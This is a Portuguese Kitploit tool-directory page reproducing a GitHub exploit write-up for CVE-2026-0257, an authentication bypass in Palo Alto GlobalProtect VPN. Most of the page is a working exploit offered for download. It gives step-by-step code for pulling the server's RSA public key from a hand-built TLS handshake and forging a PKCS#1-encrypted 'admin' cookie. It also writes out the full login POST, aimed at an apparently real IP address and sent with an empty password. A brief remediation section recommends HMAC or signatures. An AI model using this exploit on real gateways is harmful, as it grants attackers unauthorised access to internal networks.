Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/tushargurav28/cve-2026-0257
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança de RedeCriptografiaTestes de PenetraçãoAutenticaçãoRed Teaming
GitHub
tushargurav28/cve-2026-0257

CVE-2026-0257

Palo Alto Networks PAN-OS contém um bypass de autenticação causado por falhas no portal e gateway GlobalProtect, permitindo que invasores estabeleçam conexões VPN não autorizadas, o exploit requer acesso de rede ao portal ou gateway.

Ver Repositório
33há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-0257: Bypass de Autenticação do GlobalProtect

Visão Geral

Este exploit obtém acesso VPN não autenticado a um gateway/portal Palo Alto GlobalProtect ao forjar um cookie de autenticação usando apenas o certificado TLS disponível publicamente do servidor.


A Vulnerabilidade Central (Por que Funciona)

O GlobalProtect usa um cookie de pré-autenticação (portal-userauthcookie) para permitir que os clientes se autentiquem. Aqui está a falha fatal:

root@kitploit:~
Normal Flow:
  1. Client authenticates (username + password)
  2. Server generates a cookie → encrypts it with server's RSA PUBLIC key
  3. Client stores the encrypted cookie
  4. On reconnect, client sends the cookie → server decrypts with PRIVATE key → trusts it

The Bug:
  The server ONLY checks if the cookie decrypts successfully with its private key.
  It does NOT verify WHO encrypted it or if the plaintext content is legitimate.

Como a chave pública RSA está embutida no certificado TLS do servidor (acessível publicamente a qualquer um que se conecte), qualquer atacante pode:
  1. Obter a chave pública do certificado TLS
  2. Forjar um cookie com qualquer nome de usuário
  3. Criptografá-lo com a chave pública
  4. Enviá-lo ao servidor → o servidor o descriptografa → aceita como válido

Esta é uma falha de autenticação quebrada clássica — usando criptografia onde uma assinatura digital ou HMAC era necessária.


A Cadeia do Exploit (5 Etapas)

root@kitploit:~
flowchart TD
    A["Step 1: Raw TCP Connect"] --> B["Step 2: Send Crafted TLS ClientHello"]
    B --> C["Step 3: Parse ServerHello → Extract DER Certificates"]
    C --> D["Step 4: Walk ASN.1 to Extract RSA Public Key"]
    D --> E["Step 5: Forge PKCS#1 v1.5 Encrypted Cookie"]
    E --> F["Step 6: POST to /ssl-vpn/login.esp"]
    F --> G{"Server Decrypts Cookie"}
    G -->|"Valid plaintext"| H[" Auth Bypass — VPN Access Granted"]
    G -->|"Invalid"| I[" Rejected"]

Etapa 1: Construir um ClientHello TLS Bruto

Por que bruto? Precisamos do certificado do servidor no formato DER (binário bruto). O módulo ssl do Python completa o handshake TLS completo internamente e não expõe os bytes brutos do certificado da mesma forma. Ao fazer uma conexão TCP bruta e enviar um ClientHello artesanal, podemos interceptar a resposta do servidor no nível de byte.

Formato no Fio

root@kitploit:~
┌──────────────────────────────────────────────────┐
│ TLS Record Header (5 bytes)                      │
│ ┌──────┬──────────┬────────────┐                 │
│ │ Type │ Version  │   Length   │                 │
│ │ 0x16 │ 0x03 01  │  2 bytes   │                 │
│ │(Hshk)│(TLS 1.0) │            │                 │
│ └──────┴──────────┴────────────┘                 │
│                                                  │
│ Handshake Message                                │
│ ┌──────┬────────────┬─────────────────────────┐  │
│ │ Type │   Length   │      Body               │  │
│ │ 0x01 │  3 bytes   │  (ClientHello)          │  │
│ │(CHlo)│            │                         │  │
│ └──────┴────────────┴─────────────────────────┘  │
└──────────────────────────────────────────────────┘

Código: build_hello()

O corpo do ClientHello contém:

CampoValorPropósito
Version0x03 0x03 (TLS 1.2)Informa ao servidor que falamos TLS 1.2
Random4-byte timestamp + 28 random bytesNonce para o handshake
Session ID0x00 (vazio)Sem retomada de sessão
Cipher Suites9 suites incluindo TLS_RSA_WITH_AES_128_CBC_SHAChave: incluímos cifras apenas RSA para forçar o servidor a usar seu certificado RSA
Compression0x00 (nenhuma)Obrigatório

Extensões incluídas:

ExtensãoIDPropósito
SNI (Indicação de Nome do Servidor)0x0000Diz ao servidor qual nome de host estamos conectando
Algoritmos de Assinatura0x000DAnuncia quais algoritmos de assinatura suportamos
Grupos Suportados0x000ACurvas EC que suportamos (P-256, P-384, P-521)
Formatos de Pontos EC0x000BPontos EC não comprimidos

[!NOTE] As suites de cifras incluem intencionalmente cifras de troca de chaves RSA (0x002F = TLS_RSA_WITH_AES_128_CBC_SHA). Isso incentiva o servidor a responder com seu certificado RSA em vez de um ECDSA — o que é crítico porque o exploit só funciona com RSA.


Etapa 2: Receber e Analisar a Resposta do Servidor

root@kitploit:~
Server Response:
  ┌─────────────────┐
  │ ServerHello      │  (handshake type 2)
  ├─────────────────┤
  │ Certificate      │  (handshake type 11) ← WE WANT THIS
  ├─────────────────┤
  │ ServerKeyExchange│  (handshake type 12, optional)
  ├─────────────────┤
  │ ServerHelloDone  │  (handshake type 14) ← STOP SIGNAL
  └─────────────────┘

Código: parse_certs()

Fase 1 — Remover cabeçalhos de registros TLS:

root@kitploit:~
while i + 5 <= len(data):
    t = data[i]                              # content type
    rl = (data[i + 3] << 8) | data[i + 4]   # record length
    if t == 22:                              # Handshake
        hs.extend(data[i + 5: i + 5 + rl])  # grab payload
    i += 5 + rl                              # next record

Fase 2 — Encontrar a mensagem Certificate (tipo 11):

root@kitploit:~
while j + 4 <= len(hs):
    ht = hs[j]                                           # handshake type
    hl = (hs[j+1] << 16) | (hs[j+2] << 8) | hs[j+3]    # 3-byte length
    if ht == 11:  # Certificate!
        # Parse the certificate list inside

Fase 3 — Extrair certificados DER individuais:

root@kitploit:~
Certificate Message Body:
┌───────────────────────────────────┐
│ Total Certs Length (3 bytes)      │
├───────────────────────────────────┤
│ Cert 1 Length (3 bytes)           │
│ Cert 1 DER data (variable)       │
├───────────────────────────────────┤
│ Cert 2 Length (3 bytes)           │
│ Cert 2 DER data (variable)       │
├───────────────────────────────────┤
│ ...                               │
└───────────────────────────────────┘

Em nosso teste, obtivemos 3 certificados (certificado folha, CA intermediária, CA raiz).

Código: has_done()

Esta função procura por ServerHelloDone (tipo de handshake 14), que nos informa que o servidor terminou de enviar e podemos parar de ler.


Etapa 3: Analisar o Certificado X.509 (ASN.1/DER)

Os certificados X.509 são codificados em DER (Regras de Codificação Distintas), que é um formato binário baseado em ASN.1 (Notação de Sintaxe Abstrata Um).

Formato TLV (Tag-Comprimento-Valor) ASN.1

root@kitploit:~
┌─────┬────────┬───────────────────┐
│ Tag │ Length │ Value (payload)   │
│ 1B  │ 1-5B  │ variable          │
└─────┴────────┴───────────────────┘

Codificação de comprimento:

  • Se byte < 0x80: o comprimento é aquele byte diretamente (forma curta)
  • Se byte ≥ 0x80: bits baixos 7 = número de bytes seguintes que codificam o comprimento (forma longa)
root@kitploit:~
# Example: length byte = 0x82 → 2 more bytes follow
# Next 2 bytes: 0x06 0x4F → length = 0x064F = 1615 bytes

Código: rd_tl()

root@kitploit:~
def rd_tl(d, p):
    tag = d[p]; p += 1
    length = d[p]; p += 1
    if length & 0x80:                    # long form?
        nb = length & 0x7F              # how many bytes follow
        length = 0
        for _ in range(nb):
            length = (length << 8) | d[p]
            p += 1
    return {"tag": tag, "len": length, "pos": p}  # pos = start of value

Estrutura do Certificado X.509

root@kitploit:~
Certificate ::= SEQUENCE {              ← tag 0x30
  tbsCertificate SEQUENCE {              ← tag 0x30
    version      [0] EXPLICIT            ← tag 0xA0 (optional)
    serialNumber INTEGER                 ← tag 0x02
    signature    SEQUENCE (AlgorithmID)  ← tag 0x30
    issuer       SEQUENCE                ← tag 0x30
    validity     SEQUENCE                ← tag 0x30
    subject      SEQUENCE                ← tag 0x30
    subjectPublicKeyInfo SEQUENCE {      ← tag 0x30  ★ WE WANT THIS ★
      algorithm SEQUENCE {               ← tag 0x30
        algorithm OID                    ← tag 0x06
        parameters (optional)
      }
      subjectPublicKey BIT STRING {      ← tag 0x03
        RSAPublicKey SEQUENCE {          ← tag 0x30
          modulus    INTEGER             ← tag 0x02  ★ n ★
          exponent   INTEGER             ← tag 0x02  ★ e ★
        }
      }
    }
    ...
  }
  ...
}

Código: get_rsa_key()

root@kitploit:~
# Enter outer SEQUENCE (Certificate)
r = rd_tl(der, 0)            # → SEQUENCE
# Enter tbsCertificate SEQUENCE
r = rd_tl(der, p)            # → SEQUENCE
# Check for optional version tag
r = rd_tl(der, p)
if r["tag"] == 0xA0:         # version field present → skip it
    p = r["pos"] + r["len"]
    r = rd_tl(der, p)

# Skip: serial → sigAlg → issuer → validity → subject
# (just read each TLV and jump past it)

# NOW we're at subjectPublicKeyInfo
# Read the AlgorithmIdentifier → check if OID = RSA
oid = der[r["pos"]: r["pos"] + r["len"]]
rsa_oid = [0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01]
#          ↑ This is 1.2.840.113549.1.1.1 = rsaEncryption
if oid != rsa_oid:
    return None  # Not RSA (probably ECDSA)

# Read the BIT STRING → skip 1 byte (unused bits indicator)
# Read the inner SEQUENCE → extract modulus (n) and exponent (e)

Detalhe importante — byte zero inicial no módulo:

root@kitploit:~
if der[ms] == 0 and ml > 1:
    ms += 1    # strip leading 0x00
    ml -= 1

Para nosso alvo: módulo = 2048 bits (256 bytes), expoente = 65537 (0x10001)


Etapa 4: Forjar o Cookie de Autenticação (PKCS#1 v1.5)

Este é o coração do exploit.

O que o Cookie Contém

O formato do cookie em texto simples é:

root@kitploit:~
admin;;Windows;;1748928001;0.0.0.0
  │        │        │        │
  │        │        │        └── Client IP
  │        │        └── Unix timestamp
  │        └── OS identifier
  └── Username (we choose "admin")

Preenchimento de Criptografia PKCS#1 v1.5 (Tipo 2)

root@kitploit:~
┌──────┬──────┬──────────────────────────┬──────┬─────────────────────┐
│ 0x00 │ 0x02 │ Random non-zero padding  │ 0x00 │ Plaintext message   │
│      │      │ (≥ 8 bytes)              │      │                     │
└──────┴──────┴──────────────────────────┴──────┴─────────────────────┘
  1B     1B      padLen bytes              1B      message bytes

Total = 256 bytes (= key size)

Código: forge()

root@kitploit:~
def forge(n, e, kl, username):
    ts = str(int(time.time()))
    pt = str2b(username + ";;Windows;;" + ts + ";0.0.0.0")

    pad_len = kl - len(pt) - 3    # 3 = 0x00 + 0x02 + 0x00 separator
    if pad_len < 8:                # PKCS#1 requires ≥ 8 pad bytes
        return ""

    em = bytearray([0x00, 0x02])   # Type 2 padding header
    for _ in range(pad_len):
        em.append(random.randint(1, 255))  # non-zero random bytes!
    em.append(0x00)                # separator
    cat(em, pt)                    # append plaintext

    # RSA encryption: ciphertext = em^e mod n
    return b64_encode(bi2bytes(modpow(bytes2bi(em), e, n), kl))

A matemática RSA:

root@kitploit:~
ciphertext = plaintext^e mod n

Where:
  plaintext = the padded message as a big integer (256 bytes → ~2048 bits)
  e = 65537 (public exponent)
  n = the 2048-bit modulus from the certificate

[!IMPORTANT] Isso funciona porque a criptografia RSA usa a chave pública (n, e), que qualquer um pode obter do certificado TLS. O servidor a descriptografará com sua chave privada (n, d) e obterá o texto simples de volta — admin;;Windows;;timestamp;0.0.0.0. O servidor então confia cegamente neste texto simples — ele nunca verifica se o cookie foi legitimamente emitido por ele mesmo.


Etapa 5: Enviar o Cookie Forjado ao Endpoint de Login

Código: test_cookie()

O cookie forjado é enviado como um POST HTTPS padrão para o endpoint de login do GlobalProtect:

root@kitploit:~
POST /ssl-vpn/login.esp HTTP/1.1
Host: 1.255.199.2
Content-Type: application/x-www-form-urlencoded
User-Agent: GlobalProtect/6.0.0
Content-Length: ...
Connection: close

prot=https
&server=1.255.199.2
&user=admin
&passwd=                          ← empty! no password needed
&context=gateway                  ← or "portal"
&clientos=Windows
&clientgpversion=6.0.0
&portal-userauthcookie=<BASE64_FORGED_COOKIE>
&portal-prelogonuserauthcookie=

[!NOTE] O campo passwd está vazio. O servidor não verifica a senha — ele depende inteiramente do portal-userauthcookie para autenticação.

O exploit testa dois endpoints:

  1. Gateway (context=gateway): Acesso direto ao túnel VPN
  2. Portal (context=portal): Acesso à configuração do portal

Detecção de Sucesso

root@kitploit:~
def is_gateway_success(resp, user):
    # Check for HTTP 200
    # Check for <status>Success</status> in XML body
    # OR <argument> tag containing the username

Etapa 6: O que Acontece no Lado do Servidor

root@kitploit:~
sequenceDiagram
    participant A as Attacker
    participant GP as GlobalProtect Server

    A->>GP: TCP Connect (port 443)
    A->>GP: Raw TLS ClientHello (hand-crafted)
    GP->>A: ServerHello + Certificate (contains RSA public key)
    GP->>A: ServerHelloDone
    Note over A: Extracts RSA public key (n, e) from cert
    Note over A: Forges cookie: RSA_encrypt("admin;;Windows;;ts;0.0.0.0", pubkey)
    A->>GP: POST /ssl-vpn/login.esp (over TLS)
    Note over GP: Receives portal-userauthcookie
    Note over GP: Decrypts with RSA private key
    Note over GP: Gets "admin;;Windows;;ts;0.0.0.0"
    Note over GP: ⚠️ Trusts it blindly — no signature check!
    GP->>A: HTTP 200 OK + <status>Success</status>
    Note over A: 🎉 Full VPN access as "admin"

Por que Esta é uma Falha Devastadora

AspectoImpacto
Nenhuma credencial necessáriaA chave pública é literalmente pública — qualquer um que se conecte a obtém
Sem força brutaÚnica requisição por tentativa, sempre bem-sucedida em servidores vulneráveis
Pré-autenticaçãoExplorável antes de qualquer login — nenhuma sessão existente necessária
Personificação de usuárioAtacante escolhe qualquer nome de usuário (admin, CEO, etc.)
Acesso total à VPNUma vez autenticado, o atacante está na rede interna
Sem registro de falha de senhaComo a autenticação é via cookie, alertas de senha incorreta não são acionados

A Correção (O que a Palo Alto Deveria Fazer)

O problema fundamental é usar criptografia para autenticação. As abordagens corretas:

  1. Assinaturas Digitais: O servidor deve assinar o cookie com sua chave privada, não descriptografar um criptografado. Em seguida, verificar a assinatura na reautenticação.

  2. HMAC: Usar uma chave secreta do lado do servidor para aplicar HMAC ao payload do cookie. Apenas o servidor conhece o segredo, então os cookies não podem ser forjados.

  3. Vinculação de Token: Vincular o cookie à sessão de autenticação original para que não possa ser reproduzido de um contexto diferente.

root@kitploit:~
Broken:   cookie = RSA_encrypt(userdata, public_key)   ← anyone can do this!
Fixed:    cookie = HMAC(server_secret, userdata)        ← only server can do this

Resumo: Fluxo Completo de Dados

  1. Conectar TCP ao alvo:443
  2. Enviar ClientHello artesanal (bytes brutos sobre TCP, NÃO TLS)
  3. Receber ServerHello + Certificate + ServerHelloDone
  4. Analisar registros TLS → extrair mensagens de handshake
  5. Encontrar mensagem Certificate (tipo 11) → extrair certificados codificados em DER
  6. Percorrer estrutura ASN.1/DER do certificado folha: SEQUENCE → SEQUENCE → [version] → serial → sigAlg → issuer → validity → subject → subjectPublicKeyInfo → algorithmIdentifier (verificar OID = RSA) → BIT STRING → SEQUENCE → modulus (n) + exponent (e)
  7. Construir texto simples: "admin;;Windows;;1748928001;0.0.0.0"
  8. Preenchimento PKCS#1 v1.5: 0x00 0x02 [aleatório≥8] 0x00 [texto simples]
  9. Criptografar RSA: ciphertext = padded^e mod n
  10. Codificar em Base64 → Codificar URL
  11. POST para /ssl-vpn/login.esp com cookie forjado (sobre TLS adequado)
  12. Servidor descriptografa → confia cegamente → concede acesso VPN
Baixar ferramenta